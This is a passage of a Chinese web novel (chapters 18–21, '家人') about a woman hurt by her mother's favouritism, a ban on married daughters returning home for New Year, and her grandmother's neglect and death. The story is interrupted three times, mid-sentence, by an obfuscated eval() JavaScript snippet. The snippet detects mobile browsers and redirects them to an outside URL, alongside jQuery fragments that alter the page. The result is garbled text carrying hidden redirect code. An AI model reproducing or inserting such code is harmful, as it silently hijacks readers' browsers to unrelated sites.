孩儿吗?不一定就是生女孩儿。” 谁知母亲并不理会她的安慰,又接着说:“要是二胎我不帮他们带了,到时候我老了,他俩个(指儿子儿媳)可以不管我,但你……和你姐得管我。” “凭啥呢?凭啥我得养你,而他两口子可以不养呢?”姚舒云立刻讥诮地反问道。 紧接着心里泛起无尽的酸涩和鄙夷,“呵,真是滑天下之大稽!她生养3个子女,对儿子付出最大的精力和金钱,最后却反过来要我,这个她最不喜欢的孩子来养老。” “得亏她还有理智,知道停顿一下,知道欺负人不能往死里欺负,所以连带着把我姐也带上,最起码好听点,好叫我明面上觉得不是自己一个人养。哈哈哈,算盘珠子都蹦我脸上了呢……”姚舒云心中狂笑不止。 这一刻,她真想爆粗口。 心底声声呐喊,无法止息,她不愿意将不堪的字眼用在母亲身上,那是母亲,是妈妈啊,怎么,怎么能用肮脏无情的字眼? 可……可事实偏偏就是如此!!! 不是她非要斤斤计较,实在是太不公平。 “哎,不是,我是说,要是二胎生的还是个女孩儿,我不帮他们带了,那我不给他们带孩子他们就不用养我了,就得你……” 姚舒云抬手打断母亲“费心”地解释,轻声问:“你不给他们带,那你给我带了吗?” 她不禁想起初怀孕时,因被孕吐折磨得生不如死时,她很想让母亲回来陪伴自己几天,然而却被无情拒绝。孩子出生后,在月子里,母亲时常玩手机到很晚,却不愿起来帮孩子换尿片…… 还有母亲总说孩子哭闹不用管,哭一哭没事儿,最后孩子哭得肚脐眼鼓胀,她却赶紧逃回家去…… 而弟弟的孩子,却从弟媳一开始怀孕时,母亲就在身旁悉心照料,直到现在…… 是,母亲的确没有任何帮她带孩子的义务,所以姚舒云不敢生有任何责怪母亲的心思。 可为什么,她想不明白,就连单单孕吐时难受,想要母亲过来陪伴几天也不答应呢? 为什么会这样? “嗯,那,那就是这样的。”闵佳荣低声说道。 “是怎样的?就因为我是个女儿,因为你‘好心’施舍让我多上了几年学,所以理所应当地要无限期供奉你?可你别忘了,让我上学时的花销你是回过本的,而且有一年学费还是我自己全额贷款的。” “再说,若论付出,你不是对儿子更多吗?怎么他就可以不养你,而我必须得养你?” “就因为我少了那坨肉吗?”姚舒云嘴角讥讽的笑,怎么也止不住。 “要照这样来说,你也是个女的吧?你下面也没长那东西吧?那我想知道,你给你妈做啥了?你妈都是你一个人养得吗?你弟弟妹妹们都没管?” 闵佳荣低声嘟囔了句什么,姚舒云没听清楚,紧接着,晾完衣服,拿起地上盆子,快速走进屋内。 掠过姚舒云身旁时,带起一缕风,搅动她额前一绺散发,隐约可见后面一张狼狈、哀痛的脸。 姚舒云看向远处,天边红日只剩最后一点,很快,再眨眼,已完全消失不见。 残留几抹余晖,随着夜幕降临,也一并消失不见。 她忽然感到身泛凉意,可明明是春末的季节,夏天马上就要到来。 抿动一下嘴角,姚舒云发现口中充斥酸涩,原来内心的失望会通过唾液幻化成形。 “该是回去的时候了。”她喃喃自语,轻叹一声,忽而又笑了。 用力轻吻了怀中的孩子,姚舒云有一种如释重负的轻松,又觉得心底某个地方更加沉重。 她与母亲,到底为什么会是这个样子? 18. 家人(3) 第二日,当姚舒云提出想要回家时,母亲没有挽留,接过她手里的行李箱,送她坐上计程车,去了汽车站。 “原本想着好歹会客气地挽留一下,结果……”姚舒云笑着摇摇头,靠在车窗上,抬起手,看着光影从指缝中漏出来,明暗不断变换,自嘲道:“我怎么总是这样自作多情呢。” 她不得不怀疑,那天或许只是父母酒后一时兴起,才邀请她过来住几天。 也许是偶然的父母心性,令他们难得的想起二女儿,也许是鲜有的疼惜,令他们感念二女儿独自带娃的艰辛…… 总之,他们邀请姚舒云过来小住,却不曾想被姚舒云看见家人间大打出手,而觉得丢了颜面。 母亲闵佳荣必是考虑到儿子暴怒、无情、且毫无孝心,因此才会盘算到想让姚舒云来赡养她晚年。 毕竟,能说出那样的话,绝非一时兴起,必定早在心中筹划已久。 “为什么父母会如此,尤其是母亲,她拿我当什么了?” 其实姚舒云不敢将话说得太明白,她已模糊觉得父母似乎把她当作外人,就跟随便哪个亲戚一样,只是一个有点血缘关系的亲人,如此而已。 她不由得想起当年姐姐姚燕哭肿泪眼,只因父亲说了句,“娘家和女儿也就是一辈亲”。 “可我们是他们的孩子,他们是生养我们的人啊!我们之间是父亲、母亲和孩子,我们不是外人,不是啊!!” 姚舒云感到头痛欲裂,她很难接受说服自己和父母间只是亲戚的关系。 她索性不再去想,在回来的路途中,除了伤怀之外,竟不可否认感到一丝轻松。 原来她也并没有想象中那么愿意待在父母身边。 时间一天天过去,这期间母亲偶然打过几个电话,两人不亲不疏、不远不近地聊些无关痛痒的事情。 只要母亲打来电话,姚舒云必定第一时间接起,即便因有事没及时接到,事后看见也会第一时间回复。 但她几乎从没有主动跟父母联系过。 每次一联系,总会一肚子不痛快,她也不知道为什么。 —— 元旦一过,很快就要过年了,空气中年味越来越浓,人心也越来越浮躁难耐,一到年底,思乡之情愈发浓烈。 姐姐姚燕早早给姚舒云打电话,姐妹俩兴致冲冲,说起回老家的事儿,“今年你回去,带着一家三口,可以住到咱妈家的新房子里。那房子大,足够住了,到时候我也带着孩子去住,咱们好好聚聚,热闹热闹。” “咱们可以去赶集,我跟你讲,那一到过年,街上人山人海,挤都挤不透,有的鞋都能被踩掉……” “咱们还可以去县城玩,那更热闹,到时候让你家豫林开车带着咱们几个一块儿去,鹏飞那车刚好载他们一家人,到时候咱们几个,大大小小十来号人,要多热闹有多热闹……” …… 姚燕说得兴起,她又是个嗓门,姚舒云只觉得耳膜“嗡嗡”响一阵儿,话停静止,话起又接着“嗡嗡”响一阵儿。 她全程没有说话,只含笑听着姐姐给她讲述各种回老家过年的景象。 老家,老家,一旦勾起这个话题,姚舒云的心就不可抑制地沸腾起来。 她做梦都想回去,那里的山山水水,一草一叶,都有着她的体温和呼吸。 那里有她过去的时光,是她来时的路,藏有她最深最深的感情。 她眼前不时出现老家景象:某个拐角的墙壁、某条一望无际的大路、广阔深袤的麦地尽头,是一轮圆圆的红日、一洼池水、一棵柳树,一只公鸡引吭高歌、一只狗懒洋洋躺在阴影里,伸着舌头乘凉…… 形形色色、杂乱无章的记忆碎片纷繁涌进脑海,不由她控制,连呼吸都变得克制,生怕惊扰了这旧日情怀。 年底将至,快1岁的小团团一天比一天结实,当11个半月的她摇摇晃晃走向姚舒云时,作为母亲,姚舒云一颗心欢呼雀跃,她兴奋地将孩子拥在怀里。 心中被巨大的欢喜幸福充盈,令她急切地想要将这份喜悦分享给最亲近的人。 姚舒云将女儿踉跄走路的视频发给了母亲,并告诉她,“这是小团团正式第一次走路哦,从此后我们就是能独立行走的小‘人’啦。” 母亲打来视频电话,两人聊了几句,期间自然说到了要回老家的各种打算和安排,毕竟再过十来天,就是农历新年。时间已经很紧张了。 姚舒云自然也兴冲冲地说起自己在网上开始准备采买各种东西:给老家亲戚们买的礼品,以及给丈夫和女儿买的御寒衣物。 “老家比这冷太多了,不穿厚可不行。我给小团团买了套连身的羽绒服,到时候要是能碰上下雪天,就让她在雪地里随意滚。哈哈哈……” 姚舒云眼前出现一个冰天雪地的世界,她带着刚学会走路的小团团,在雪地里嬉戏玩闹。 小团团身穿红色连身羽绒服,在满目白色的世界,就像一团熊熊燃烧的火焰。 那景象光是想想就觉得很美好了。 姚舒云兴奋地说起回老家后一定要去吃当地特色面,以及配的酸辣汤,“你不知道,妈,我想那口很久了,有时候嘴里都冒酸水,哈哈哈。哎,主要是外面吃不到老家的味儿,我很想吃老家的饭菜……” 忽然,姚舒云一个激灵,后知后觉地发现,视频那头,很久都没声音了,当自己聒噪的声音停止后,世界一片寂静。 她也不知道怎么就越说越多,越说越兴奋,之前她还笑话过姐姐小孩子心性来着,这下自己也变成跟姐姐一样的人了。 姚舒云看向视频那头,里面母亲一张无甚表情的脸,不知为何,心里隐隐感到一丝不安。 她忽然想到母亲是不是担心他们回去颠簸,孩子受罪。 于是忙说:“我给车后座买了一张可以躺的小床,到时候我带团团在后面玩,困了就让她睡垫子小床上。” 见母亲仍然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404825|200449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没吭声,便又问:“你们哪天回去?我们这边要等豫林放假,大概很晚,按照往常来说,一般都过年前一两天才能放假。哎,放假太晚了,估计都没时间赶集了。” “你们家人也多,要不然我和团团还能坐鹏飞的车,跟你们一起回去了。” “你还是别回去了。”母亲闵佳荣忽然说道。 “啊?什么?”姚舒云心里一下子收紧,她一时不敢相信母亲说的话,甚至有些怀疑自己是否听错了。 “我说你们别回去了。咱那儿的规矩,‘出嫁的女儿不能再回娘家过年’。” 姚舒云顿时懵了,目瞪口呆,一张脸火辣辣地疼,像被人用力扇过。 母亲闵佳荣却仿佛看不见姚舒云的表情,接着说:“你们一家在这儿过年不挺好的嘛,住着宽敞大房子,干净又暖和。老家那儿没空调也没暖气,回去活受罪哩。” “可我想回去啊。”姚舒云木木地说。 “不行,出嫁过的女儿是不能在娘家过年的。”闵佳荣说得很坚决,“过年那天逝去的‘老祖宗们’都要回来,在家里供桌前吃贡品,看见外人不吉利,到时候娘家会倒霉的。” 怕姚舒云不相信,又举例说:“你看你弟媳妇刘香凤,刚有孩子那一年,因为年底回老家看身体,最后耽误了回来时间,结果她在娘家过年,吃了顿年夜饭。那第二年她爸就中风偏瘫了。” “当时她还没上正屋吃饭呢,只是窝在厨房里,趴在一个小凳子上,吃点饭菜。就那她爸还出事了。” 闵佳荣吸了下鼻子,眼皮向下地看向姚舒云,“所以你们别回去了。去了我,我也不能让你们上正屋过年,到时候也得让你们趴厨房里吃。那又何必呢,是吧?不如你们自己在家过年算了,哪儿不去,哪儿也不用折腾。” “如果我记得没错的话,刘香凤她爸是第二次中风吧?” 像是已经缓过一些力气,姚舒云深吸一口气,接着说:“她爸两年多前就大中风过一次,险些丧了命。当时医生就说这病复发率高,很可能会再发病。你不是不清楚吧?” “哦,她爸病复发了,就是他女儿回家过年导致的?那两年前,刘香凤可没回老家过年吧?那她爸病了,中风了,是谁导致的呢?” “哦,照你这样说,娘家出了点啥事儿都跟女儿在家过年有关,那,那假如要是那年她爸买彩票中了500万,是不是得分女儿一点呢?嗯?” “哈!”姚舒云忽然大笑一声,然后皱着眉头,轻声说:“总不能啥不好的事都是女儿导致的,好事儿就跟女儿不沾边了?那也太不要脸,太不讲理了吧?哈哈哈……” 她笑得止不住,心底的悲凉一路上升,直达眼眶。她眼睛酸涩,蓄满泪水,却竭力不肯眨落。 心口像被人用脚碾过,闷闷地,怎么也喘不过气。 她怎么也想不到,在科技发展如此先进的今天,竟还有母亲这种愚昧不堪的人。 真是开眼了。 19. 家人(4) 若是深山老妇,或者一辈子没出过远门的村野女人,那倒还罢了。 可母亲不是啊,她在外打工二十余载,再怎样也算是见过世面的人,怎会,怎会如此迂腐、愚蠢?恪守着旧日习俗,抱守着陈板旧条,把女儿拒之门外。 她不是不知道姚舒云想要回老家的迫切心情,早在盖房子之初,姚舒云就有打算想在娘家也盖几间房子。 在当今空心村遍布,所有人都纷纷外出的当下,鲜少有年轻人愿意回去,可姚舒云想。她真的太想念老家了,觉得那里有她的根,和她血肉相连,她牵肠挂肚,无法割舍。 她盼着母亲盖房子,从年幼时就开始盼,她太渴望在老家有一处安稳住所。盼啊盼,等啊等,等了这些年,房子终于建好了。 可,却被母亲亲手关上大门,告诉她,你出嫁了,不能再回娘家过年。 天哪,姚舒云想发疯,她闭上眼睛,极力克制内心无法平息的愤怒,嘴边涌过很多肮脏的词汇,念念无声。 她的理智已然到了崩溃边缘,下一秒,似乎就要破洪而出。 闵佳荣明显是看出什么了,说了句自己还有事儿,便匆忙挂断电话。 姚舒云伏倒在沙发上,用力捶打垫子,痛哭嘶吼。 “天哪,天哪,母亲,你怎么就如此愚昧?你看不出我有多想回去吗?你怎么就能那么忍心,冷冰冰地拒绝我?你可知道我有多伤心,多难过啊?!!天哪,天哪……” 她又哭又笑,又锤又打,一会儿声嘶力竭吼叫连天,一会儿又呜呜咽咽抽泣不止…… 一种强烈地被抛弃和放逐之感,几乎让她发疯。 她忽然担心自己这异常举动是否会吓到孩子,赶忙起身查看,发现女儿小团团坐在客厅不远处的角落里,正聚精会神地玩一地散落的玩具。 于是放下心来,继续伏倒在沙发上,发泄内心不尽的愤怒和委屈。 等到眼泪哭干流尽,姚舒云翻身,斜躺在沙发上,她头发凌乱,喉咙红肿,眼神透出一股死灰般地绝望。 忽然,她想到姐姐,想到姐姐姚燕也非常希望自己回去,说不定能帮着劝两句,于是姚舒云立刻给姚燕发去视频。 “喂,姐,我……”姚舒云刚开口,就止不住哽咽,她艰难地闭住嘴,深呼吸一口气,极力把哽咽憋回去。 尽力语调平稳地说:“我过年回不去了……” 姚燕是个急性子,一听,立刻嚷嚷道:“哎,说好的回去,咋又不回去了?咱们不都计划好去哪儿玩了,你咋又突然说不回去了?是啥原因?小孩儿病了?还是周豫林不愿回咱们老家,要么就是你自己,怕回去花钱……” “不是,都不是。”姚舒云再也克制不住,哭着说:“咱妈不让我回去,说……说……说出嫁的女儿……不,不能……不能回娘家过年。” 姚舒云哽咽着终于将一句话完整地说出来,然后“呜呜”地痛哭起来。她一边擦眼泪,一边又接着说:“不是我不回去,是咱妈不让我回。” “啊?怎么会这样?我打电话问问!”姚燕说完,就挂了电话。 约莫半小时之后,姐姐姚燕打来电话,此刻她已没有先前的气愤,平静了许多,她清嗓咳了一声,说:“我打过电话了,哎,咱妈真是,太迷信了。说什么不吉利啥的,你说都啥年代了,咋还有这样的老思想,老封建。” 顿了顿,她又接着说:“不让你去她家过年就不去了呗,也没什么大不了。不过你可以这样,在老家县城那儿找家酒店,住一两天,反正她说了,只要除夕和初一那两天不在她家就行,后面就可以去了……” “呵,”姚舒云冷笑一声,“感情我大老远几百公里跑回老家,就是为了在那儿酒店住两天?” “哎,不是,这不是没办法嘛。她那么迷信,不让你去她家过年,那你只能在酒店住两天,等过完年,初二再去她家也不迟。” “我这样心心念念回老家只是为了要住在她家里,吃几口她家饭菜,你觉得是这样吗?” 姚舒云叹息一声,感到无力,她不怪姐姐不了解自己的心思,即便就算姐姐了解,那又能怎样? 显然刚才的那通电话,姐姐已经被母亲说服了,是不会站在自己的立场上再去考虑什么。 “我不是为了一定要住她家里,吃几口她家饭菜,我是想着咱们一大家子人,咱姐弟三个,各自成家有了孩子,能和父母一起,整整齐齐,热热闹闹地团圆,过个年。” “咱们虽说在外面也能见面,可毕竟不是老家,不是过年的氛围,总觉得差了些意思。这些年,老家一直没房子,咱们都没法回去,好不容易,房子盖好了,咱们姐弟也都成家了,想着能凑一起聚一聚,好好热闹热闹。” 姚舒云越说声音越低,越说越绝望,她已约略感知到此事没什么回旋余地了。 “哎,谁说不是呢?可咱妈那个老封建,哎,反正你就带着孩子和周豫林,在县城找个酒店住两天,到时候初二再回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404826|200449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,咱们……” “呵,你可真有意思,”姚舒云讥诮地道,“都被人家拒之门外了,咋,我还非得厚着脸皮一定要去她家,是吧?” “哎,那咋了?!你这个人咋非得较个真。她不让你去过年就不去了,到时候你一家三口在酒店过完年,初二刚好可以去她家……” “你是不是蠢啊?人家都不让我过去,我还非腆着脸过去?咋,我是非得回老家,受这侮辱?没一点自尊和羞耻?要是有一天,你也遇到我这情况,看你还会不会这样说?” “你才蠢!她不让去过年就不去呗,你为啥非得较个真,装个死样儿。挂了。” 姐妹俩闹得不欢而散。 姚舒云给丈夫周豫林打电话,告诉了他这件事情,他并没什么太大反应,劝妻子别太难过,说不回老家还能省了累和辛苦,到时候一家三口在城市周边玩玩,也会很开心。 经历过哭闹,发泄完情绪,姚舒云心情好多了,但她仍然感到心痛,一想到今年过年不能回老家,以后也不知道什么时候能再有机会回去。 而且以后,以后又是什么时候呢?说不定一年两年,也说不定十年八年,她知道人的心境变化很快,也许很久很久以后,到那时,“‘终不似少年游’,怕是再也不会有今天这样思家念家的情怀。” 姚舒云喃喃自语,继而又感到一阵心痛。 甚至她悲观地想道:“也许明天就没我了呢。呵呵,毕竟世上之事,瞬息万变,明天到底会发生什么,谁也说不准。” 基于此,她打算过两天心气平和后,再给母亲打一通电话,好好聊一聊。 她不想错过这次机会,觉得自己不能轻易放弃。 然而两天后,电话那头,母亲平静无波的叙事口吻,再次碾碎了姚舒云心中那仅存的一点点侥幸,“嗯,真的不能回去。出嫁的女儿不能在娘家过年。” 还不忘劝解道,“要是到时候娘家出点啥事儿,你心里也会过意不去的不是?” “呵呵,呵呵。”姚舒云冷笑两声,心底那簇怎么也不肯死心的火苗终于被彻底浇灭。 继而,她咬住牙齿,恨声道:“希望有一天,你被别人拒绝了,也能这样轻飘飘地无所谓。” 她说完,挂了电话。 手却还在抖。 她走到团团身边。孩子在心无旁骛地玩玩具,姚舒云蹲下来,把女儿抱进怀里。 她不知道自己将来绝不会也这样对团团。绝不会。 20. 家人(5) “哎哟,妈哎,你真是要活活磨死我啊!” 一见到大伯父姚志周,姚舒云就会想起这句在深夜里,他满腹牢骚的话。 几年前,弟媳和弟弟刚结婚,闹矛盾,跑回娘家,非要公婆一家人齐齐整整去接才肯回来。 迫不得已,只能带上刚出生两个多月的侄女,大家一起回老家。 那时姚舒云还未结婚,听说家人要回老家,又得知奶奶病了,她便当即向公司请3天假。 趁着这趟她想回去好好看看奶奶。 她已经有很长时间没见过奶奶,小时候她与奶奶相依为命,长大了她奔波在外,难以在奶奶身边照拂。 就连给她配了一部手机,好方便能时时联系,也被大伯借口收走,他待母苛刻,唯恐老母亲会说出什么对自己不利的话。 姚舒云自然也没法再同奶奶联系。 一看见奶奶,姚舒云难过得立马要哭出来,原先有些微胖白皙的老人,此刻已变得干瘪瘦弱。 她艰难地抬头,看见姚舒云,微弱地说了声:“你回来了。” “我回来了,奶奶,你咋了?咋病得这么严重?”姚舒云紧紧握住奶奶枯枝般地手,哽声说道。 奶奶这哪是简单地病了,明明是已经病入膏肓了。 要不是这次刚好回来看见,她还不知道奶奶已经病得这样严重,已处在弥留之际。 姚舒云赶紧将自己带来的纯牛奶和面包拆开,塞到奶奶手里,说:“奶奶,你吃,你吃点。” 许是久未进食,看到吃的,老人还是很有食欲,她艰难起身,背靠床边,接过孙女拆开的面包,一点一点放进嘴里咀嚼。 吃了一点后,奶奶有些力气。她断断续续地说了些自己的情况。 大约是肠胃不舒服,具体也没个明确,因为大伯只带她在附近村诊所检查过。诊所条件有限,只能检查个大概。 村医建议将奶奶带去正规医院检查,那里有先进设备,才能确诊病因。 然而大伯却以兄弟都在外打工,回不来,将奶奶又带了回来。 随后将奶奶接来自己家小偏房里住,每日仅给她吃些白粥、蔬菜。 有一两次,奶奶实在馋了,便把亲戚来看她时带来的点心吃了些,然后拉肚子了。被大伯骂得狗血喷头,最后将奶奶身边所有的吃食全部拿走,除了米汤和几片菜叶,再不允许奶奶吃任何东西。 病,再加上饿,奶奶愈发消瘦憔悴,眼下连下床走几步,人就气喘吁吁。 姚舒云心疼得不行,可她也没有勇气和能力跟大伯说些什么。自己要工作,不能长时间陪在奶奶身边,父母、叔叔婶娘,以及姑姑和姑父,他们也都在外地打工,各有生计要忙,根本不可能长时间待在老家。 只有大伯待在老家,也只有他能照看奶奶。 所以即便再不好,旁人也不能说些什么,万一要是他不乐意了,奶奶更加孤苦无助。 即便现在情况也并没有好到哪里去。 姚舒云心里很难受,可她也无能为力,只能在这有限的几天时间里,尽力照顾奶奶。 祖孙俩正说着话,忽然大伯母将门推开,她径直走到一旁柜子前,伸手去拿东西,扭头看到姚舒云手里拿得面包、牛奶,似笑非笑地说:“嘿哟,你奶奶现在要是能吃这些东西,那可就好了哟,那身体就没病了哟。” 说完,又径直走出去,只留小木门“咯吱”晃悠。 夜里,姚舒云和母亲,以及小侄女三人睡在侧房里,那里紧邻奶奶的小房间。 乍然到了陌生环境,小侄女一直哭闹,母亲刚将她哄睡好,熄了灯,姚舒云也昏沉沉睡下。 忽然,听到开门关门声,紧接着,就是那句牢骚满腹的话,“哎哟,妈哎,你真是要活活磨死我啊!” 姚舒云一下子惊醒,一墙之隔的大伯嚎嚷声清晰刺耳,“我睡那屋就听你哼哼唧唧的声音,你不能消停点嘛,我明儿还要起来干活儿……” “你这是又咋了?又吃啥东西了吗?”然后是大伯父翻垃圾桶的声音,随后暴怒:“啊?你这样还吃东西?我看你是不想活了!!赶明儿我把这些东西全扔出去!” 大伯父骂骂嚷嚷,姚舒云心里刚开始很惭愧,这些东西都是她买的,而且也是她拿给奶奶吃得,所以奶奶这样必然是有她的责任。 可随即就想到,“不对啊!事情不是这么简单。” 大伯父这是明显指桑骂槐,有意做给旁人看呢。 平心而论,奶奶的确是有些哼哼唧唧,那是身体难受,发出的呻/吟声,可远没有到吵人的地步。 姚舒云睡眠轻,而且跟奶奶一墙之隔,她都能忽视掉这些声音,那远在房子西侧,有很大距离的大伯父没可能听得那么清楚。 除非他很用力地听。 再者即便奶奶真的吵到了他,他也没必要发出这样委屈抱怨的吼叫声音,他明知道侄女姚舒云和弟媳闵佳荣睡在隔壁,不可能不会被吵醒。 而他似乎正是要此目的,仿佛就是在向她们说:“看,我天天照顾老娘多辛苦啊,我多有孝心啊,我是个仁厚好人啊!” 一副纯纯作秀心态。 想到这些,姚舒云立刻要起身,她打算过去说两句,让奶奶少受点气,毕竟事情是她引发的,东西是她让奶奶吃得,然而不知为何起身一半却又停了下来。 去了能做什么呢?帮奶奶说两句话,或者是跟大伯父吵一架? 有什么用? 再不济,大伯父也深更半夜起床过来查看一下奶奶情况,换做是父亲、叔叔,或者是姑姑,他们能做到吗? 听大伯父唠唠叨叨的抱怨声中,他已有很多次半夜起床照顾奶奶的情况。 换做是自己,是否又能真的做到? 姚舒云迟疑了,她起了一半的身又缓缓落下。躺在床上,想到自己要工作,要上班,不可能一直待在老家,待在奶奶身边。 这时贸然过去,不管是为奶奶说两句话,还是跟大伯父吵一架,都没什么用。 看似为奶奶出头,实际上却是将她陷入更糟糕的境地。 “哎。”姚舒云轻轻叹息一声,感到无可奈何。 大伯父像是发泄完心中怨气,又像是终于达到心中目的,在絮絮叨叨一阵后,终于关灯回去了。 世界陷入一片死寂。 姚舒云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404827|200449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以为自己会睡不着,可很快,她就沉沉睡下。白天坐了一天的车,她早已困乏至极。 几天后,接回弟媳,姚舒云和母亲几人离开,仅仅半个月时间,奶奶就去世了。 可明明姚舒云在的那几日,奶奶还精神不错,姚舒云将她搀扶到太阳底下晒暖,又打来一大盆热水,为奶奶洗了头,洗了脚。 本想再帮她洗个澡,可奶奶担心会着凉,只能作罢。 哪曾想,再听到消息,竟是奶奶与世长辞。 当得知消息的那一刻,姚舒云并没有感到很心痛,反而是一股茫然,她反复自问,“奶奶不在了?奶奶走了?这世上再没她这个人了?” 她像是不敢相信,一直咛喃自语。 及至到了下班回到宿舍,一个人的小屋时,没了白天在办公室的喧哗,此刻十分静谧,姚舒云看着四周,忽然一股巨大的悲痛侵袭而来,她趴在被褥上,痛哭流涕。 这个世上再没有奶奶了,永远也不可能再见到她了。 这个陪伴姚舒云整个童年看她长大的老人,在很多时候代偿了姚舒云心中一部分母亲角色的人,是真的离去了。 记得有一次,母亲责骂姚舒云好吃,说起她小时候两三岁时,因为被骂了,哭哭啼啼跑去奶奶家找奶奶。 然后还把头埋到老人怀里,“看见你奶奶的□□,还非想去吃两口呢,哈哈哈……” 母亲笑谈不已,并以此作为姚舒云“好吃”的例证。 可透过时光隧道,长大后的姚舒云分明看到的是一个母亲生了弟弟、在家里处处被嫌弃的二女儿,孤苦无助,只能跑去找奶奶,依偎在她身边,感受一点点温暖。 当年景象到底如何,姚舒云早已记不清,可她却能从母亲的只言片语笑谈中,勾勒出一个清晰完整的自己:那个浑身破烂脏污,脸上挂着泪珠,鼻涕悬在嘴角,冻红了手,鞋子踩得歪歪扭扭,一只鞋袢甩在外边……的小孩儿,凭着大概印象,跑跑停停,走走哭哭,最后艰难去到奶奶家。 依偎在她身边,跟她说“我妈打我了。呜呜呜……” 老人将小孙女抱进怀里,为她擦去眼泪。 小小的姚舒云很快就不哭了,吸着奶奶身上的味道,感觉就像在妈妈身边一样。 记得十四五岁时,正值青春期的姚舒云,整天感到很苦闷、压抑、自卑,就像头顶压片乌云一样,她活得很累,时常感到无法呼吸。 有一次她偶然跟奶奶说起“不想活了,活着太苦太累了,一点都没意思,没劲儿透了。” 没有说教,没有责骂,奶奶只是摸了摸她的头发,说:“人生在世,哪有不苦不累的。你还太小,经得事儿太少,等以后长大了,心里装过很多事儿,自然也就看开了。” 她用仅剩一只的眼睛,用力看向前方,那眼神里透着茫然,仿佛透过时空虚幻,在看她来时的路,或者是想见的人。 “人啊,只要往前走,一直走下去,天总会亮的。” 后来的很多时候,每当姚舒云感到撑不下去,而无力再前进时,她总会想起奶奶以平静地口吻,说出的那句,“一直走,天会亮的。” 竟也走过了这许多年。 21. 家人(6) 姚舒云一早就跟母亲闵佳荣提过,不要在亲戚们面前提自己家房子的事儿,也如实坦述房子还有很多银行贷款每月要还,并不是表面上那么光鲜亮丽。 然而只是徒劳,母亲依旧我行我素。 从亲戚们看她的眼神,以及偶尔的只言片语交流中,姚舒云隐隐能感觉到母亲是如何在自己背后、在亲戚们面前,添油加醋,放大事实,说“姚舒云的房子是多么大,多么宽敞明亮,多么交通方便……” 每当想到这些,姚舒云不禁浑身冒冷汗,天知道,在周围一众没有房子的亲戚面前,她率先买了房,又赶上房价上涨,是有多么让人羡慕。而羡慕的背后,则是眼红和嫉妒。 亲戚们从年轻时就出来打工,直到现在,在这个城市里仍无一砖半瓦,而姚舒云却能“轻轻松松”拥有大房子,住得宽敞又明亮,而他们却一直租住在城市边缘,几乎没有任何装修的简陋房子里。 两相对比之下,可想而知,在姚舒云身上累计的恨意有多么大。 单看远在老家的大伯父就对她怨念极深,更莫提旁人。姚舒云万分后悔当初自己多的那句嘴,要不是当时嘴快,问了句销售现在的房价,也就不会有现在这许多麻烦了。 可再懊悔也于事无补,她只能提醒自己务必小心再小心,谨慎再谨慎,警惕口舌之祸。 对于亲戚间偶尔流漏出的不友好,她也只当是看不见,不与人计较。 然而她想轻轻放过,旁人却不能如她所愿。 —— 过完年,又过完元宵节,姐姐姚燕才赶回来上班,她在工厂里干得是计件的活儿,多劳多得,因此时间自由,不在乎早几天晚几天。 这天周六,一早她打来电话,说还没去三姨家拜年,问姚舒云什么时候去。 最后两人商议,约定好周日过去。姐姐说到时候二姨家的王慧也要一起过去,大家凑一起去给三姨拜年。 很快时间到了,姚舒云一早洗漱好,然后搭城际公交去到姐姐家,然后姐妹俩再一起去三姨家。 表妹王慧自己开了间美容小店,有生意要忙,要晚一点等饭好后再过来。 一见面,三姨就热情地招呼,然而姚舒云却明显感觉三姨是对着姐姐寒暄,对于一旁的自己甚至都没看几眼。 她疑心是自己多想了,因为自己性格一贯就是敏感多思,于是私下里劝自己别想太多,不要太在乎别人的反应。 坐在座位上,看着姐姐和三姨两人,大嗓门谈笑不已,她隐隐羡慕,很想像姐姐那样爽朗大气,可却总感觉自己有些畏缩。 有一两次次,她也插了几句话,但没什么人接腔,她就彻底没了底气。 不一会儿,三姨重新钻进厨房里做菜,姐姐姚燕低头刷手机,姚舒云吃了桌上盘子里的一两个小蜜橘后,刚把手机掏出来,三姨夫从外面走进来。 他坐在姚舒云对面,拍拍身上灰尘,也拿出一两个小橘子来吃,边剥边看向姚舒云,说:“听说XX地方,房价不贵,据说四五千一平呢。” “哦,XX地方,”姚舒云重复了一下,“是哪里吗?” “就你家附近,大概几公里远吧。前两天,有个客户来我家修车,说那地方房价四五千都能买到呢。”三姨夫边吃边解释道。 “哦,那还挺好的,房价挺便宜的。本身现在房价也开始回落,不会一直涨的。对于买房者来说,是好消息,可以省很多钱。” 姚舒云顺着姨夫的话说,她知道三姨一家最近有为儿子买婚房的打算,因此这样说,希望能宽慰他的心。 其实她也隐约听出三姨夫的另一层意思,他无非就是想说,现在房价回落,房子不值钱。 